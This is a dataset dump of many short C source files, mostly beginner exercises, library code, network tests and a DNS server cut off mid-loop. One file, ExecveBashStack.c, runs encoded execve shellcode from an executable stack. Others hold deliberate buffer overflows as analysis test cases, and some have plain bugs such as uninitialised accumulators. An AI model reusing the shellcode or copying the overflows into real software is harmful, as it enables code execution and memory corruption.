file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
|---|---|
the_stack_data/50106.c | #include <stdlib.h>
#include <stdio.h>
int ters(int x);
int ters(int x){
int swap;
int kalan;
int bn;
swap=x;
while(swap>0){
kalan=swap%10;
bn=bn*10+kalan;
swap=swap/10;
}
return bn;
}
int main(){
int sayi;
printf("Bir sayi girin:");
scanf("%d",&sayi);
printf("Tersi:%d",ters(sayi));
return 0;
}
|
the_stack_data/77640.c | #include <stdio.h>
float max(float arr[], int n) {
int i;
float t = arr[0];
for (i=0; i<n; i++) {
t = t > arr[i] ? t : arr[i];
}
return t;
}
float min(float arr[], int n) {
int i;
float t = arr[0];
for (i=0; i<n; i++) {
t = t < arr[i] ? t : arr[i];
}
return t;
}
void pop(float value, float arr[], int n, float arr2[]) {
int i;
int j = 0;
int already_poped = 0;
for (i=0; i<n; i++) {
if (arr[i] == value && already_poped != 1) {
already_poped = 1;
continue;
}
arr2[j++] = arr[i];
}
}
float mean(float arr[], int n) {
int i;
float t = 0;
for (i=0; i<n; i++) {
t += arr[i];
}
return t / n;
}
int main() {
int i;
float t[7], t2[6], t3[5];
for (i=0; i<7; i++) {
scanf("%f", &t[i]);
}
pop(max(t, 7), t, 7, t2);
pop(min(t, 7), t2, 6, t3);
printf("%.2f\n", mean(t3, 5));
return 0;
}
|
the_stack_data/167331199.c | #define _GNU_SOURCE
#include <fcntl.h>
#include <stdarg.h>
#include <errno.h>
#include "syscall.h"
int fcntl(int fd, int cmd, ...)
{
unsigned long arg;
va_list ap;
va_start(ap, cmd);
arg = va_arg(ap, unsigned long);
va_end(ap);
if (cmd == F_SETLKW) return syscall_cp(SYS_fcntl, fd, cmd, (void *)arg);
if (cmd == F_GETOWN) {
struct f_owner_ex ex;
int ret = __syscall(SYS_fcntl, fd, F_GETOWN_EX, &ex);
if (ret == -EINVAL) return __syscall(SYS_fcntl, fd, cmd, (void *)arg);
if (ret) return __syscall_ret(ret);
return ex.type == F_OWNER_PGRP ? -ex.pid : ex.pid;
}
if (cmd == F_DUPFD_CLOEXEC) {
int ret = __syscall(SYS_fcntl, fd, F_DUPFD_CLOEXEC, arg);
if (ret != -EINVAL) {
if (ret >= 0)
__syscall(SYS_fcntl, ret, F_SETFD, FD_CLOEXEC);
return __syscall_ret(ret);
}
ret = __syscall(SYS_fcntl, fd, F_DUPFD_CLOEXEC, 0);
if (ret != -EINVAL) {
if (ret >= 0) __syscall(SYS_close, ret);
return __syscall_ret(-EINVAL);
}
ret = __syscall(SYS_fcntl, fd, F_DUPFD, arg);
if (ret >= 0) __syscall(SYS_fcntl, ret, F_SETFD, FD_CLOEXEC);
return __syscall_ret(ret);
}
switch (cmd) {
case F_SETLK:
case F_GETLK:
case F_GETOWN_EX:
case F_SETOWN_EX:
return syscall(SYS_fcntl, fd, cmd, (void *)arg);
default:
return syscall(SYS_fcntl, fd, cmd, arg);
}
}
|
the_stack_data/211690.c |
void cmat_vec_dble(int n, double _Complex (*a)[n][n], double _Complex *v[n], double _Complex (*w)[n])
{
int i, j;
for(i = 0; i <= n-1; i += 1) {
(*w)[i] = 0.0;
for(j = 0; j <= n-1; j += 1)
(*w)[i] += ((*a)[i])[j]*(*v)[j];
}
}
|
the_stack_data/40763804.c | #include <stdio.h>
int main()
{
int a;
int *direccionMemoria; // declaring the variable and pointer
a = 10;
direccionMemoria = &a; // initializing the pointer
printf("%d \n", *direccionMemoria); //esto imprime el valor que apunta
printf("%d \n", *&a); //esto tambien imprime el valor que apunta'
printf("%u \n", (unsigned int)&a); //esto imprime la direccion de a
printf("%u \n", (unsigned int)direccionMemoria); //esto tambien imprime la direccion de a
printf("%u \n", (unsigned int)&direccionMemoria); //esto imprime la direccion de direccionMemoria, osea del apuntador.
return 0;
} |
the_stack_data/1052394.c | #include <stdio.h>
#include <stdlib.h>
#define QL printf("\n")
int main(){
int num, i;
char c;
do{
printf("Digite um número inteiro: ");
scanf(" %d", &num);
printf("Tabuada de %d\n", num);
for(i=1;i<=10;i++){
printf("%d x %d = %d\n", num, i, num * i);
}
QL;
printf("Continua: (S/N)?");
scanf(" %c", &c);
QL;
}while((c=='s')||(c=='S'));
QL;
getchar();
}
|
the_stack_data/73575298.c | // SPDX-License-Identifier: GPL-2.0
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <limits.h>
struct socket_testcase {
int domain;
int type;
int protocol;
/* 0 = valid file descriptor
* -foo = error foo
*/
int expect;
/* If non-zero, accept EAFNOSUPPORT to handle the case
* of the protocol not being configured into the kernel.
*/
int nosupport_ok;
};
static struct socket_testcase tests[] = {
/* libc might have a smaller value of AF_MAX than the kernel
* actually supports, so use INT_MAX instead.
*/
{ INT_MAX, 0, 0, -EAFNOSUPPORT, 0 },
{ AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 1 },
{ AF_INET, SOCK_DGRAM, IPPROTO_TCP, -EPROTONOSUPPORT, 1 },
{ AF_INET, SOCK_DGRAM, IPPROTO_UDP, 0, 1 },
{ AF_INET, SOCK_STREAM, IPPROTO_UDP, -EPROTONOSUPPORT, 1 },
};
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))
#define ERR_STRING_SZ 64
static int run_tests(void)
{
char err_string1[ERR_STRING_SZ];
char err_string2[ERR_STRING_SZ];
int i, err;
err = 0;
for (i = 0; i < ARRAY_SIZE(tests); i++) {
struct socket_testcase *s = &tests[i];
int fd;
fd = socket(s->domain, s->type, s->protocol);
if (fd < 0) {
if (s->nosupport_ok &&
errno == EAFNOSUPPORT)
continue;
if (s->expect < 0 &&
errno == -s->expect)
continue;
strerror_r(-s->expect, err_string1, ERR_STRING_SZ);
strerror_r(errno, err_string2, ERR_STRING_SZ);
fprintf(stderr, "socket(%d, %d, %d) expected "
"err (%s) got (%s)\n",
s->domain, s->type, s->protocol,
err_string1, err_string2);
err = -1;
break;
} else {
close(fd);
if (s->expect < 0) {
strerror_r(errno, err_string1, ERR_STRING_SZ);
fprintf(stderr, "socket(%d, %d, %d) expected "
"success got err (%s)\n",
s->domain, s->type, s->protocol,
err_string1);
err = -1;
break;
}
}
}
return err;
}
int main(void)
{
int err = run_tests();
return err;
}
|
the_stack_data/62885.c | #include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
int main()
{
char s[100];
gets(s);
printf("Hello, World!\n%s", s);
/* Enter your code here. Read input from STDIN. Print output to STDOUT */
return 0;
}
|
the_stack_data/232954456.c | #include <stdio.h>
struct circle{
double pi, r, p, s, two;
} circle;
double pi = 3.14192;
static double r = 10.0;
double p = 0.0;
double s = 0.0;
double two = 2.0;
main() {
circle.pi = pi;
circle.r = r;
circle.two = two;
double tmp = circle.pi * circle.r;
circle.p = circle.two * tmp;
printf("%e\n", circle.p);
circle.p;
circle.s = tmp * circle.r;
printf("%e\n", circle.s);
circle.s;
} |
the_stack_data/92327052.c | #include <stdio.h>
int main () {
int var1;
char var2[10];
printf("Address of var1 variable: %x\n", &var1 );
printf("Address of var2 variable: %x\n", &var2 );
return 0;
}
|
the_stack_data/50137823.c | /*
* Simpson 3/8 Rule Method for performing numerical integration
*/
#include <stdio.h>
#include <math.h>
float function (float xi){
/* Given function is x^2*sin(x) */
return (pow(xi,2)*sin(xi));
}
float simpson_3_8(float a, float b, float n){
float fx, f_a, f_b, xi, res;
float h = 0; /* Step size */
f_a = function(a);
f_b = function(b);
h = (b-a)/n;
for (int i = 1; i < n; i++){
xi = (a + (i*h));
if (i % 2 == 0)
fx = fx + 3 * function(xi);
else
fx = fx + 2 * function(xi);
}
res = ((3*h)/8) * (f_a + fx + f_b);
return res;
}
int main(void) {
float a = 0; /* Low border */
float b = 2; /* High border */
float n = 500; /* Iterations */
int i = 0;
float res = 0;
res = simpson_3_8(a, b, n);
printf ("\nResult: %5f\n", res);
return 0;
}
|
the_stack_data/859926.c | #include <stdio.h>
/* Calculate the Body Mass Index (BMI), using the classic formula */
float calcBmi (int height, float weight) {
if (height > 0 && weight > 0) {
// We have valid data for the calculation
return 10000 * (weight / (height * height));
}
return -1; // Data are invalid
}
int main () {
int height; // the height, in centimeters
float weight; // the weight, in kilograms
float bmi; // the body mass index
printf("Calculation of Body Mass Index (BMI)\n");
// Asking for the data
printf("Type your height (in centimeters) and your weight (in kilograms): ");
scanf("%d%f", &height, &weight);
bmi = calcBmi(height, weight); // Calculating BMI
if (bmi > 0) {
// It's ok; show the result
printf("The BMI = %.2f.\n", bmi);
} else {
// Oops! There is a problem
printf("Error: invalid data!\n");
}
return 0;
} |
the_stack_data/51700484.c | /*
* run-init implementation for busybox
*
* Copyright (c) 2017 Denys Vlasenko <[email protected]>
*
* Licensed under GPLv2, see file LICENSE in this source tree.
*/
//config:config RUN_INIT
//config: bool "run-init (7.7 kb)"
//config: default y
//config: select PLATFORM_LINUX
//config: help
//config: The run-init utility is used from initramfs to select a new
//config: root device. Under initramfs, you have to use this instead of
//config: pivot_root.
//config:
//config: Booting with initramfs extracts a gzipped cpio archive into rootfs
//config: (which is a variant of ramfs/tmpfs). Because rootfs can't be moved
//config: or unmounted, pivot_root will not work from initramfs. Instead,
//config: run-init deletes everything out of rootfs (including itself),
//config: does a mount --move that overmounts rootfs with the new root, and
//config: then execs the specified init program.
//config:
//config: util-linux has a similar tool, switch-root.
//config: run-init differs by also having a "-d CAPS_TO_DROP" option.
/* applet and kbuild hooks are in switch_root.c */
|
the_stack_data/125030.c | /*
* (c) copyright 1987 by the Vrije Universiteit, Amsterdam, The Netherlands.
* See the copyright notice in the ACK home directory, in the file "Copyright".
*/
#define RCSID0 "$Id$"
/*
** Zilog z8000 machine dependent options
*/
#define THREE_PASS
#define BYTES_REVERSED
#define WORDS_REVERSED
#define LISTING
#define ASLD
#undef ALIGNSECT
#define ALIGNSECT 2
#undef valu_t
#define valu_t long
#undef ADDR_T
#define ADDR_T long
|
the_stack_data/37638550.c | /*
ExecveBashStack.c
By Abatchy
gcc ExecveBashStack.c -fno-stack-protector -z execstack -o ExecveBashStack.out
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\xeb\x16\x5e\x8d\x7e\x01\x31\xc0\x8a\x4c\x47\x01\x88\x4c\x06\x01\x40\x80\xe9\xbb\x74\x07\xeb\xf0\xe8\xe5\xff\xff\xff\x31\xaa\xc0\xaa\x50\xaa\x68\xaa\x62\xaa\x61\xaa\x73\xaa\x68\xaa\x68\xaa\x62\xaa\x69\xaa\x6e\xaa\x2f\xaa\x68\xaa\x2f\xaa\x2f\xaa\x2f\xaa\x2f\xaa\x89\xaa\xe3\xaa\x50\xaa\x89\xaa\xe2\xaa\x53\xaa\x89\xaa\xe1\xaa\xb0\xaa\x0b\xaa\xcd\xaa\x80\xaa\xbb\xbb";
int main()
{
printf("Shellcode size: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
|
the_stack_data/162643030.c | /**
* Basic POSIX Thread (pthread) Usage 2.
*
* By walking through this example you’ll learn:
* - How to pass value to thread when create it.
* - How to handles multiple threads.
* - What happens to variables that reside in various scopes.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/wait.h>
#define NUM_THREADS 3
static int global;
void print_addr(void* g, void* m, void* t, void* ts){
printf("%p\t%p\t%p\t%p\n", g, m, t, ts);
}
void* worker(void* arg){
int thread;
static int thread_static;
print_addr(&global, arg, &thread, &thread_static);
pthread_exit(NULL);
}
int main(int argc, char* argv[]){
static int main_static;
pthread_t tids[NUM_THREADS];
int status;
printf("global\t\tmain\t\tthread\t\tthread-static\n");
print_addr(&global, &main, 0, 0);
for(int i = 0; i < NUM_THREADS; i++){
// HINT: The thread that runs `worker` should be created.
// HINT: The address of variable `main_static` should be passed
// when thread created.
// HINT: Each thread descriptor should be stored appropriately.
status = pthread_create(&tids[i], NULL, worker, &main_static);
if(status != 0){
printf("WTF?");
return -1;
}
}
// HINT: The main thread should not be exited until all `worker`s have finished.
for(int i=0; i<NUM_THREADS; i++){
pthread_join(tids[i], NULL);
}
return 0;
}
|
the_stack_data/102776.c | #if defined(_DEBUG) || defined(DEBUG)
#include "sockutil.h"
#include "rtsp-client.h"
#include <assert.h>
#include <stdlib.h>
#include "sockpair.h"
#include "cstringext.h"
#include "sys/system.h"
#include "cpm/unuse.h"
#include "sdp.h"
//#define UDP_MULTICAST_ADDR "239.0.0.2"
void rtp_receiver_tcp_input(uint8_t channel, const void* data, uint16_t bytes);
void rtp_receiver_test(socket_t rtp[2], const char* peer, int peerport[2], int payload, const char* encoding);
void* rtp_receiver_tcp_test(uint8_t interleave1, uint8_t interleave2, int payload, const char* encoding);
int rtsp_addr_is_multicast(const char* ip);
struct rtsp_client_test_t
{
void* rtsp;
socket_t socket;
int transport;
socket_t rtp[5][2];
unsigned short port[5][2];
};
static int rtsp_client_send(void* param, const char* uri, const void* req, size_t bytes)
{
//TODO: check uri and make socket
//1. uri != rtsp describe uri(user input)
//2. multi-uri if media_count > 1
struct rtsp_client_test_t *ctx = (struct rtsp_client_test_t *)param;
return socket_send_all_by_time(ctx->socket, req, bytes, 0, 2000);
}
static int rtpport(void* param, int media, const char* source, unsigned short rtp[2], char* ip, int len)
{
struct rtsp_client_test_t *ctx = (struct rtsp_client_test_t *)param;
int m = rtsp_client_get_media_type(ctx->rtsp, media);
if (SDP_M_MEDIA_AUDIO != m && SDP_M_MEDIA_VIDEO != m)
return 0; // ignore
switch (ctx->transport)
{
case RTSP_TRANSPORT_RTP_UDP:
// TODO: ipv6
assert(0 == sockpair_create("0.0.0.0", ctx->rtp[media], ctx->port[media]));
rtp[0] = ctx->port[media][0];
rtp[1] = ctx->port[media][1];
if(rtsp_addr_is_multicast(ip))
{
if(0 != socket_udp_multicast(ctx->rtp[media][0], ip, source, 16) || 0 != socket_udp_multicast(ctx->rtp[media][1], ip, source, 16))
return -1;
}
#if defined(UDP_MULTICAST_ADDR)
else
{
if(0 != socket_udp_multicast(ctx->rtp[media][0], UDP_MULTICAST_ADDR, source, 16) || 0 != socket_udp_multicast(ctx->rtp[media][1], UDP_MULTICAST_ADDR, source, 16))
return -1;
snprintf(ip, len, "%s", UDP_MULTICAST_ADDR);
}
#endif
break;
case RTSP_TRANSPORT_RTP_TCP:
rtp[0] = 2 * media;
rtp[1] = 2 * media + 1;
break;
default:
assert(0);
return -1;
}
return ctx->transport;
}
int rtsp_client_options(rtsp_client_t *rtsp, const char* commands);
static void onrtp(void* param, uint8_t channel, const void* data, uint16_t bytes)
{
static int keepalive = 0;
struct rtsp_client_test_t *ctx = (struct rtsp_client_test_t *)param;
rtp_receiver_tcp_input(channel, data, bytes);
if (++keepalive % 1000 == 0)
{
rtsp_client_play(ctx->rtsp, NULL, NULL);
}
}
static int ondescribe(void* param, const char* sdp, int len)
{
struct rtsp_client_test_t *ctx = (struct rtsp_client_test_t *)param;
return rtsp_client_setup(ctx->rtsp, sdp, len);
}
static int onsetup(void* param, int timeout, int64_t duration)
{
int i;
uint64_t npt = 0;
char ip[65];
u_short rtspport;
struct rtsp_client_test_t *ctx = (struct rtsp_client_test_t *)param;
assert(0 == rtsp_client_play(ctx->rtsp, &npt, NULL));
for (i = 0; i < rtsp_client_media_count(ctx->rtsp); i++)
{
int payload, port[2];
const char* encoding;
const struct rtsp_header_transport_t* transport;
transport = rtsp_client_get_media_transport(ctx->rtsp, i);
encoding = rtsp_client_get_media_encoding(ctx->rtsp, i);
payload = rtsp_client_get_media_payload(ctx->rtsp, i);
if (RTSP_TRANSPORT_RTP_UDP == transport->transport)
{
//assert(RTSP_TRANSPORT_RTP_UDP == transport->transport); // udp only
assert(0 == transport->multicast); // unicast only
assert(transport->rtp.u.client_port1 == ctx->port[i][0]);
assert(transport->rtp.u.client_port2 == ctx->port[i][1]);
port[0] = transport->rtp.u.server_port1;
port[1] = transport->rtp.u.server_port2;
if (*transport->source)
{
rtp_receiver_test(ctx->rtp[i], transport->source, port, payload, encoding);
}
else
{
socket_getpeername(ctx->socket, ip, &rtspport);
rtp_receiver_test(ctx->rtp[i], ip, port, payload, encoding);
}
}
else if (RTSP_TRANSPORT_RTP_TCP == transport->transport)
{
//assert(transport->rtp.u.client_port1 == transport->interleaved1);
//assert(transport->rtp.u.client_port2 == transport->interleaved2);
rtp_receiver_tcp_test(transport->interleaved1, transport->interleaved2, payload, encoding);
}
else
{
assert(0); // TODO
}
}
return 0;
}
static int onteardown(void* param)
{
return 0;
}
static int onplay(void* param, int media, const uint64_t *nptbegin, const uint64_t *nptend, const double *scale, const struct rtsp_rtp_info_t* rtpinfo, int count)
{
return 0;
}
static int onpause(void* param)
{
return 0;
}
void rtsp_client_test(const char* host, const char* file)
{
int r;
struct rtsp_client_test_t ctx;
struct rtsp_client_handler_t handler;
static char packet[2 * 1024 * 1024];
memset(&ctx, 0, sizeof(ctx));
handler.send = rtsp_client_send;
handler.rtpport = rtpport;
handler.ondescribe = ondescribe;
handler.onsetup = onsetup;
handler.onplay = onplay;
handler.onpause = onpause;
handler.onteardown = onteardown;
handler.onrtp = onrtp;
ctx.transport = RTSP_TRANSPORT_RTP_UDP; // RTSP_TRANSPORT_RTP_TCP
snprintf(packet, sizeof(packet), "rtsp://%s/%s", host, file); // url
socket_init();
ctx.socket = socket_connect_host(host, 554, 2000);
assert(socket_invalid != ctx.socket);
//ctx.rtsp = rtsp_client_create(NULL, NULL, &handler, &ctx);
ctx.rtsp = rtsp_client_create(packet, "username1", "password1", &handler, &ctx);
assert(ctx.rtsp);
assert(0 == rtsp_client_describe(ctx.rtsp));
socket_setnonblock(ctx.socket, 0);
r = socket_recv(ctx.socket, packet, sizeof(packet), 0);
while(r > 0)
{
assert(0 == rtsp_client_input(ctx.rtsp, packet, r));
r = socket_recv(ctx.socket, packet, sizeof(packet), 0);
}
assert(0 == rtsp_client_teardown(ctx.rtsp));
rtsp_client_destroy(ctx.rtsp);
socket_close(ctx.socket);
socket_cleanup();
}
#endif
|
the_stack_data/73574110.c | /*
* Copyright (c) 2016 - present
*
* Programming Research Laboratory (ROPAS)
* Seoul National University, Korea
* All rights reserved.
*
* This source code is licensed under the BSD style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
#include <stdlib.h>
char* safealloc(int n) {
char* x;
if (n > 0)
x = malloc(n);
else
x = malloc(10);
if (!x)
return x;
else
exit(1);
}
void for_loop() {
char* a;
int i;
a = safealloc(10);
for (i = 0; i < 10; i++) {
a[i] = 'a'; /* SAFE */
}
a = safealloc(5);
for (i = 0; i < 10; i++) {
a[i] = 'a'; /* BUG */
}
}
|
the_stack_data/75136744.c | /*
* Copyright (C) 2018 BiiLabs Co., Ltd. and Contributors
* All Rights Reserved.
* This is free software; you can redistribute it and/or modify it under the
* terms of the MIT license. A copy of the license can be found in the file
* "LICENSE" at the root of this distribution.
*/
char TryteAlphabet[] = "9ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const int indices[] = {
0, 364, 728, 363, 727, 362, 726, 361, 725, 360, 724, 359, 723, 358, 722,
357, 721, 356, 720, 355, 719, 354, 718, 353, 717, 352, 716, 351, 715, 350,
714, 349, 713, 348, 712, 347, 711, 346, 710, 345, 709, 344, 708, 343, 707,
342, 706, 341, 705, 340, 704, 339, 703, 338, 702, 337, 701, 336, 700, 335,
699, 334, 698, 333, 697, 332, 696, 331, 695, 330, 694, 329, 693, 328, 692,
327, 691, 326, 690, 325, 689, 324, 688, 323, 687, 322, 686, 321, 685, 320,
684, 319, 683, 318, 682, 317, 681, 316, 680, 315, 679, 314, 678, 313, 677,
312, 676, 311, 675, 310, 674, 309, 673, 308, 672, 307, 671, 306, 670, 305,
669, 304, 668, 303, 667, 302, 666, 301, 665, 300, 664, 299, 663, 298, 662,
297, 661, 296, 660, 295, 659, 294, 658, 293, 657, 292, 656, 291, 655, 290,
654, 289, 653, 288, 652, 287, 651, 286, 650, 285, 649, 284, 648, 283, 647,
282, 646, 281, 645, 280, 644, 279, 643, 278, 642, 277, 641, 276, 640, 275,
639, 274, 638, 273, 637, 272, 636, 271, 635, 270, 634, 269, 633, 268, 632,
267, 631, 266, 630, 265, 629, 264, 628, 263, 627, 262, 626, 261, 625, 260,
624, 259, 623, 258, 622, 257, 621, 256, 620, 255, 619, 254, 618, 253, 617,
252, 616, 251, 615, 250, 614, 249, 613, 248, 612, 247, 611, 246, 610, 245,
609, 244, 608, 243, 607, 242, 606, 241, 605, 240, 604, 239, 603, 238, 602,
237, 601, 236, 600, 235, 599, 234, 598, 233, 597, 232, 596, 231, 595, 230,
594, 229, 593, 228, 592, 227, 591, 226, 590, 225, 589, 224, 588, 223, 587,
222, 586, 221, 585, 220, 584, 219, 583, 218, 582, 217, 581, 216, 580, 215,
579, 214, 578, 213, 577, 212, 576, 211, 575, 210, 574, 209, 573, 208, 572,
207, 571, 206, 570, 205, 569, 204, 568, 203, 567, 202, 566, 201, 565, 200,
564, 199, 563, 198, 562, 197, 561, 196, 560, 195, 559, 194, 558, 193, 557,
192, 556, 191, 555, 190, 554, 189, 553, 188, 552, 187, 551, 186, 550, 185,
549, 184, 548, 183, 547, 182, 546, 181, 545, 180, 544, 179, 543, 178, 542,
177, 541, 176, 540, 175, 539, 174, 538, 173, 537, 172, 536, 171, 535, 170,
534, 169, 533, 168, 532, 167, 531, 166, 530, 165, 529, 164, 528, 163, 527,
162, 526, 161, 525, 160, 524, 159, 523, 158, 522, 157, 521, 156, 520, 155,
519, 154, 518, 153, 517, 152, 516, 151, 515, 150, 514, 149, 513, 148, 512,
147, 511, 146, 510, 145, 509, 144, 508, 143, 507, 142, 506, 141, 505, 140,
504, 139, 503, 138, 502, 137, 501, 136, 500, 135, 499, 134, 498, 133, 497,
132, 496, 131, 495, 130, 494, 129, 493, 128, 492, 127, 491, 126, 490, 125,
489, 124, 488, 123, 487, 122, 486, 121, 485, 120, 484, 119, 483, 118, 482,
117, 481, 116, 480, 115, 479, 114, 478, 113, 477, 112, 476, 111, 475, 110,
474, 109, 473, 108, 472, 107, 471, 106, 470, 105, 469, 104, 468, 103, 467,
102, 466, 101, 465, 100, 464, 99, 463, 98, 462, 97, 461, 96, 460, 95,
459, 94, 458, 93, 457, 92, 456, 91, 455, 90, 454, 89, 453, 88, 452,
87, 451, 86, 450, 85, 449, 84, 448, 83, 447, 82, 446, 81, 445, 80,
444, 79, 443, 78, 442, 77, 441, 76, 440, 75, 439, 74, 438, 73, 437,
72, 436, 71, 435, 70, 434, 69, 433, 68, 432, 67, 431, 66, 430, 65,
429, 64, 428, 63, 427, 62, 426, 61, 425, 60, 424, 59, 423, 58, 422,
57, 421, 56, 420, 55, 419, 54, 418, 53, 417, 52, 416, 51, 415, 50,
414, 49, 413, 48, 412, 47, 411, 46, 410, 45, 409, 44, 408, 43, 407,
42, 406, 41, 405, 40, 404, 39, 403, 38, 402, 37, 401, 36, 400, 35,
399, 34, 398, 33, 397, 32, 396, 31, 395, 30, 394, 29, 393, 28, 392,
27, 391, 26, 390, 25, 389, 24, 388, 23, 387, 22, 386, 21, 385, 20,
384, 19, 383, 18, 382, 17, 381, 16, 380, 15, 379, 14, 378, 13, 377,
12, 376, 11, 375, 10, 374, 9, 373, 8, 372, 7, 371, 6, 370, 5,
369, 4, 368, 3, 367, 2, 366, 1, 365, 0};
|
the_stack_data/89201248.c | // fibonacci series
#include<stdio.h>
main()
{
int i=0,j=1,s=0;
for(i;s<20;)
{
printf("%d ",s);
i=j;
j=s;
s=i+j;
}
}
|
the_stack_data/33745.c | #define OK 0
#define NOK 1
void It_dynlink_dowhile(int cnt, int *out)
{
int outParam = 0;
cnt += 1;
do {
++outParam;
--cnt;
} while (cnt);
*out = outParam;
}
void It_dynlink_while(int cnt, int *out)
{
int index = 0;
int outParam = 0;
cnt += 1;
while ((index++) < cnt) {
outParam += 1;
}
*out = outParam;
}
void It_dynlink_for(int cnt, int *out)
{
int index = 0;
int outParam = 0;
cnt += 1;
for (; index < cnt; ++index) {
++outParam;
}
*out = outParam;
}
void It_dynlink_ifelse(int inVal, int *outVal)
{
int outParam;
if (inVal <= 101) {
outParam = 101;
} else if (inVal == 102) {
outParam = inVal;
} else if (inVal == 103) {
outParam = inVal;
} else if (inVal == 104) {
outParam = inVal;
} else if (inVal == 105) {
outParam = inVal;
} else if (inVal == 106) {
outParam = inVal;
} else if (inVal == 107) {
outParam = inVal;
} else if (inVal == 108) {
outParam = inVal + 1;
} else if (inVal == 109) {
outParam = 45;
} else {
outParam = 45;
}
*outVal = outParam;
}
void It_dynlink_continue(int cnt, int *out)
{
int index = 0;
int outParam = 0;
cnt += 2;
for (; index < cnt; ++index) {
if (index % 2) {
continue;
} else {
++outParam;
}
}
*out = outParam;
}
void It_dynlink_switch(char *inVal, char *outVal)
{
int i;
char outParam;
for (i = 0; i < 3; ++i) {
switch (inVal[i]) {
case 'A':
case 'a':
outParam = 'b';
break;
case 'B':
case 'b':
outParam = 'c';
break;
case 'C':
case 'c':
outParam = 'd';
break;
case 'D':
case 'd':
outParam = 'e';
break;
case 'E':
case 'e':
outParam = 'f';
break;
case 'F':
case 'f':
outParam = 'g';
break;
case 'G':
case 'g':
outParam = 'h';
break;
case 'H':
case 'h':
outParam = 'i';
break;
default:
outParam = 'z';
break;
}
outVal[i] = outParam;
}
}
|
the_stack_data/1182325.c | #include <stdio.h>
#include <stdlib.h>
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
int main() {
// Question 3
int id, midterm, final;
char name[10];
float average=0;
int count=0;
FILE *fptr;
fptr = fopen("notlar2.txt","r");
while(fscanf(fptr,"%d %s %d %d", &id, name, &midterm, &final)!=EOF){
average += (midterm*40)/100 + (final*60)/100 ;
count++;
}
printf("Class average is %.2f\n", average/count);
printf("%d", count);
return 0;
}
|
the_stack_data/14003.c | //Chelin Tutorials All Rights Reserved
//http://chelintutorials.blogspot.com/
#include <stdio.h>
int main(){
int i,j;
for (i=0,j=100 ; 3*i<j ; i++,j-=10){
printf("I: %d\n",i);
printf("J: %d\n",j);
}
printf("I: %d\n",i);
printf("J: %d\n",j);
return 0;
}
|
the_stack_data/193892883.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char *cmd = "pactl list short | grep RUNNING | awk '/input/ {print $2}' | wc -c";
char *sigCommand = "kill -47 $(pidof dwmblocks) >/dev/null";
char buf[50];
FILE *fp;
while (1) {
if ((fp = popen(cmd, "r")) == NULL) {
printf("Error opening pipe!\n");
return -1;
}
if (fgets(buf, 50, fp)) {
system(sigCommand);
sleep(1);
}
else {
sleep(1);
}
if (pclose(fp)) {
printf("Command not found or exited with error status\n");
return -1;
}
}
return 0;
}
|
the_stack_data/29824955.c | #include <stdio.h>
// [out] <auto>
unsigned long long div(unsigned long long a, unsigned long long b)
{
return a / b;
}
int main(int argc, char* argv[])
{
int a, b;
scanf("%i", &a); // [in] 3948942
scanf("%i", &b); // [in] -38734223
int c = (int)div(a, b);
printf("%i\n", c);
return 0;
}
|
the_stack_data/635677.c | #include <stdlib.h>
#define SIZE 10
int main() {
char *x = malloc(SIZE * sizeof(char));
x[SIZE] = '\0';
free(x);
return 0;
}
|
the_stack_data/1145125.c | #include <stdio.h>
int main()
{
float a[10];
for(int i=0;i<10;i++)
{
printf("Input floating number(%d): ",i+1);
scanf("%f",&a[i]);
}
printf("The entered numbers are:\n");
for(int i=0;i<10;i++)
printf("%f\n",a[i]);
return 0;
}
|
the_stack_data/1162663.c | /*
* Copyright 2015-2016 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the OpenSSL license (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#include <stdio.h>
#include <string.h>
int main()
{
char *p = NULL;
char bytes[sizeof(p)];
memset(bytes, 0, sizeof bytes);
return memcmp(&p, bytes, sizeof(bytes)) == 0 ? 0 : 1;
}
|
the_stack_data/1266413.c | // DNS Server side C program
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#define PORT 8080
#define QUEUE_LEN 3
int main(int argc, char const *argv[]) {
// Variable Declarations
int dns_server_fd, new_socket, message_recvd;
struct sockaddr_in dns_address, client_address;
int opt = 1;
int addrlen = sizeof(dns_address);
char buffer_in[1024] = {0}, buffer_out[1024] = {0} ;
FILE *database_fp;
int found_flag;
char ip_address[1023], domain_name[1023];
// Creating socket file descriptor for listening at the DNS Server
if ((dns_server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("Socket Failure : ");
exit(EXIT_FAILURE);
}
// Setting options to allow for reuse of the port and DNS Address
if (setsockopt(dns_server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {
perror("Socket Options Failure : ");
exit(EXIT_FAILURE);
}
// Setting the DNS server IP Address and Port
dns_address.sin_family = AF_INET;
dns_address.sin_addr.s_addr = INADDR_ANY;
dns_address.sin_port = htons( PORT );
// Attaching socket to the address & port
if (bind(dns_server_fd, (struct sockaddr *)&dns_address, sizeof(dns_address))<0) {
perror("Bind Failure : ");
exit(EXIT_FAILURE);
}
// Listening on the created socket
if (listen(dns_server_fd, QUEUE_LEN) < 0) {
perror("Socket Listen Failure : ");
exit(EXIT_FAILURE);
}
while(1) {
// Accept a connection
if ((new_socket = accept(dns_server_fd, (struct sockaddr *)&client_address, (socklen_t*)&client_address))<0) {
perror("Socket Accept Failure : ");
exit(EXIT_FAILURE);
}
// empty the current buffers for the new data to be recieved and sent
memset(&buffer_in, '\0', 1024);
memset(&buffer_out, '\0', 1024);
